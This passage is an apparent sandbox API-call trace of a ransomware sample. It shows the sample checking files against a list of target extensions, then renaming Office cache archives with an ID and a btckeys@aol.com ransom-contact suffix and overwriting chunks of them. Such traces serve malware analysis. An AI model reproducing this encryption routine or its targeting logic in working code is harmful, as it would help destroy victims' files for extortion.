(Heap=0x4b0000, Flags=0x0, Ptr=0x500338, Size=0x20) returned 0x52f910 [0060.794] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0060.794] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0060.794] Wow64DisableWow64FsRedirection (in: OldValue=0x2baff58 | out: OldValue=0x2baff58*=0x0) returned 1 [0060.794] lstrlenW (lpString="kernel32.dll") returned 12 [0060.794] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f938 | out: hHeap=0x4b0000) returned 1 [0060.794] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.794] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52f910 | out: hHeap=0x4b0000) returned 1 [0060.794] Sleep (dwMilliseconds=0x64) [0061.024] lstrlenW (lpString="BCD") returned 3 [0061.024] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.024] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.024] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.024] lstrlenW (lpString=".doc") returned 4 [0061.024] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0061.024] lstrlenW (lpString=".docx") returned 5 [0061.024] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0061.024] lstrlenW (lpString=".pdf") returned 4 [0061.024] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0061.025] lstrlenW (lpString=".xls") returned 4 [0061.025] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0061.025] lstrlenW (lpString=".xlsx") returned 5 [0061.025] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0061.025] lstrlenW (lpString=".ppt") returned 4 [0061.025] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0061.025] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.025] lstrlenW (lpString=".zip") returned 4 [0061.025] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0061.025] lstrlenW (lpString=".rar") returned 4 [0061.025] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0061.025] lstrlenW (lpString=".bz2") returned 4 [0061.025] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0061.025] lstrlenW (lpString=".7z") returned 3 [0061.025] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0061.025] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.025] lstrlenW (lpString=".dbf") returned 4 [0061.025] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0061.025] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.025] lstrlenW (lpString=".1cd") returned 4 [0061.025] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0061.025] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.025] lstrlenW (lpString=".jpg") returned 4 [0061.025] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0061.025] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.025] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.025] lstrlenW (lpString=".doc") returned 4 [0061.025] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0061.026] lstrlenW (lpString=".docx") returned 5 [0061.026] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0061.026] lstrlenW (lpString=".pdf") returned 4 [0061.026] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0061.026] lstrlenW (lpString=".xls") returned 4 [0061.026] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0061.026] lstrlenW (lpString=".xlsx") returned 5 [0061.026] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0061.026] lstrlenW (lpString=".ppt") returned 4 [0061.026] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0061.026] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.026] lstrlenW (lpString=".zip") returned 4 [0061.026] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0061.026] lstrlenW (lpString=".rar") returned 4 [0061.026] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0061.026] lstrlenW (lpString=".bz2") returned 4 [0061.026] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0061.026] lstrlenW (lpString=".7z") returned 3 [0061.026] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0061.026] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.026] lstrlenW (lpString=".dbf") returned 4 [0061.026] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0061.026] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.026] lstrlenW (lpString=".1cd") returned 4 [0061.026] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0061.026] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0061.026] lstrlenW (lpString=".jpg") returned 4 [0061.026] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0061.027] lstrcmpiW (lpString1=".LOG1", lpString2=".2020") returned 1 [0061.027] lstrlenW (lpString="BCD.LOG1") returned 8 [0061.027] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.362] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=0) returned 1 [0061.362] CloseHandle (hObject=0x164) returned 1 [0061.362] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.362] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.362] lstrlenW (lpString=".doc") returned 4 [0061.362] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0061.362] lstrlenW (lpString=".docx") returned 5 [0061.363] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0061.363] lstrlenW (lpString=".pdf") returned 4 [0061.363] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString=".xls") returned 4 [0061.363] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString=".xlsx") returned 5 [0061.363] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0061.363] lstrlenW (lpString=".ppt") returned 4 [0061.363] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.363] lstrlenW (lpString=".zip") returned 4 [0061.363] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString=".rar") returned 4 [0061.363] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString=".bz2") returned 4 [0061.363] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString=".7z") returned 3 [0061.363] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0061.363] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.363] lstrlenW (lpString=".dbf") returned 4 [0061.363] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.363] lstrlenW (lpString=".1cd") returned 4 [0061.363] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.363] lstrlenW (lpString=".jpg") returned 4 [0061.363] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.363] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.363] lstrlenW (lpString=".doc") returned 4 [0061.363] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString=".docx") returned 5 [0061.363] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0061.363] lstrlenW (lpString=".pdf") returned 4 [0061.363] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0061.363] lstrlenW (lpString=".xls") returned 4 [0061.364] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0061.364] lstrlenW (lpString=".xlsx") returned 5 [0061.364] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0061.364] lstrlenW (lpString=".ppt") returned 4 [0061.364] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0061.364] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.364] lstrlenW (lpString=".zip") returned 4 [0061.364] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0061.364] lstrlenW (lpString=".rar") returned 4 [0061.364] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0061.364] lstrlenW (lpString=".bz2") returned 4 [0061.364] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0061.364] lstrlenW (lpString=".7z") returned 3 [0061.364] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0061.364] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.364] lstrlenW (lpString=".dbf") returned 4 [0061.364] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0061.364] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.364] lstrlenW (lpString=".1cd") returned 4 [0061.364] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0061.364] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0061.364] lstrlenW (lpString=".jpg") returned 4 [0061.364] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0061.364] Sleep (dwMilliseconds=0x64) [0062.154] Sleep (dwMilliseconds=0x64) [0062.388] lstrcmpiW (lpString1=".sys", lpString2=".2020") returned 1 [0062.388] lstrlenW (lpString="hiberfil.sys") returned 12 [0062.388] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.388] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.388] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.388] lstrlenW (lpString=".doc") returned 4 [0062.388] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0062.388] lstrlenW (lpString=".docx") returned 5 [0062.388] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0062.389] lstrlenW (lpString=".pdf") returned 4 [0062.389] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0062.389] lstrlenW (lpString=".xls") returned 4 [0062.389] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0062.389] lstrlenW (lpString=".xlsx") returned 5 [0062.389] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0062.389] lstrlenW (lpString=".ppt") returned 4 [0062.389] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0062.389] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.389] lstrlenW (lpString=".zip") returned 4 [0062.389] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0062.389] lstrlenW (lpString=".rar") returned 4 [0062.389] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0062.389] lstrlenW (lpString=".bz2") returned 4 [0062.389] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0062.389] lstrlenW (lpString=".7z") returned 3 [0062.389] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0062.389] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.389] lstrlenW (lpString=".dbf") returned 4 [0062.389] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0062.389] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.389] lstrlenW (lpString=".1cd") returned 4 [0062.389] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0062.389] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.389] lstrlenW (lpString=".jpg") returned 4 [0062.389] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0062.389] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.389] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.389] lstrlenW (lpString=".doc") returned 4 [0062.390] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0062.390] lstrlenW (lpString=".docx") returned 5 [0062.390] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0062.390] lstrlenW (lpString=".pdf") returned 4 [0062.390] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0062.390] lstrlenW (lpString=".xls") returned 4 [0062.390] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0062.390] lstrlenW (lpString=".xlsx") returned 5 [0062.390] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0062.390] lstrlenW (lpString=".ppt") returned 4 [0062.390] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0062.390] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.390] lstrlenW (lpString=".zip") returned 4 [0062.390] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0062.390] lstrlenW (lpString=".rar") returned 4 [0062.390] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0062.390] lstrlenW (lpString=".bz2") returned 4 [0062.390] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0062.390] lstrlenW (lpString=".7z") returned 3 [0062.390] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0062.390] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.390] lstrlenW (lpString=".dbf") returned 4 [0062.390] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0062.390] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.390] lstrlenW (lpString=".1cd") returned 4 [0062.390] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0062.390] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0062.390] lstrlenW (lpString=".jpg") returned 4 [0062.390] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0062.391] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0062.391] lstrlenW (lpString="ExcelLR.cab") returned 11 [0062.391] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0062.450] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=16972987) returned 1 [0062.450] CloseHandle (hObject=0x17c) returned 1 [0062.460] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0062.460] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.460] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0062.484] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0062.484] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0x0) returned 1 [0062.484] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0062.484] ReadFile (in: hFile=0x17c, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.526] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0062.526] ReadFile (in: hFile=0x17c, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.535] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0062.535] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0062.535] ReadFile (in: hFile=0x17c, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0062.777] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.777] WriteFile (in: hFile=0x17c, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2bafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0063.042] SetEndOfFile (hFile=0x17c) returned 1 [0063.042] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ef38d0 [0063.046] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0063.046] WriteFile (in: hFile=0x17c, lpBuffer=0x3ef38d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef38d0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.132] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0063.132] WriteFile (in: hFile=0x17c, lpBuffer=0x3ef38d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef38d0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.133] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0063.134] WriteFile (in: hFile=0x17c, lpBuffer=0x3ef38d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef38d0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0063.135] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ef38d0 | out: hHeap=0x4b0000) returned 1 [0063.136] CloseHandle (hObject=0x17c) returned 1 [0068.032] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0068.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.188] lstrlenW (lpString=".doc") returned 4 [0068.188] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0068.188] lstrlenW (lpString=".docx") returned 5 [0068.188] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0068.188] lstrlenW (lpString=".pdf") returned 4 [0068.188] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0068.188] lstrlenW (lpString=".xls") returned 4 [0068.188] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0068.188] lstrlenW (lpString=".xlsx") returned 5 [0068.188] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0068.188] lstrlenW (lpString=".ppt") returned 4 [0068.188] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0068.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.188] lstrlenW (lpString=".zip") returned 4 [0068.188] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0068.188] lstrlenW (lpString=".rar") returned 4 [0068.188] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0068.188] lstrlenW (lpString=".bz2") returned 4 [0068.188] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0068.188] lstrlenW (lpString=".7z") returned 3 [0068.188] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0068.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.188] lstrlenW (lpString=".dbf") returned 4 [0068.188] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0068.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.189] lstrlenW (lpString=".1cd") returned 4 [0068.189] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0068.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.189] lstrlenW (lpString=".jpg") returned 4 [0068.189] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0068.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.189] lstrlenW (lpString=".doc") returned 4 [0068.189] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0068.189] lstrlenW (lpString=".docx") returned 5 [0068.189] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0068.189] lstrlenW (lpString=".pdf") returned 4 [0068.189] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0068.189] lstrlenW (lpString=".xls") returned 4 [0068.189] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0068.189] lstrlenW (lpString=".xlsx") returned 5 [0068.189] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0068.189] lstrlenW (lpString=".ppt") returned 4 [0068.189] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0068.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.189] lstrlenW (lpString=".zip") returned 4 [0068.189] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0068.189] lstrlenW (lpString=".rar") returned 4 [0068.189] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0068.189] lstrlenW (lpString=".bz2") returned 4 [0068.190] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0068.190] lstrlenW (lpString=".7z") returned 3 [0068.190] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0068.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.190] lstrlenW (lpString=".dbf") returned 4 [0068.190] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0068.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.190] lstrlenW (lpString=".1cd") returned 4 [0068.190] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0068.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74 [0068.190] lstrlenW (lpString=".jpg") returned 4 [0068.190] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0068.190] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0068.190] lstrlenW (lpString="WordLR.cab") returned 10 [0068.190] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0068.191] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=43806141) returned 1 [0068.191] CloseHandle (hObject=0x1dc) returned 1 [0068.191] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0068.191] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0068.191] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0068.192] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 